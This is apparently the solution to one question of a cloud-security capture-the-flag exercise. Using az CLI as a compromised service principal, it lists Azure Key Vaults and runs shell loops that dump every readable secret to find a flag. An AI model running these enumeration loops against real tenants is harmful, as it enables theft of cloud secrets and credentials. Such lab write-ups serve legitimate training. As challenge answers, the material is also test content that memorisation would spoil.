The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.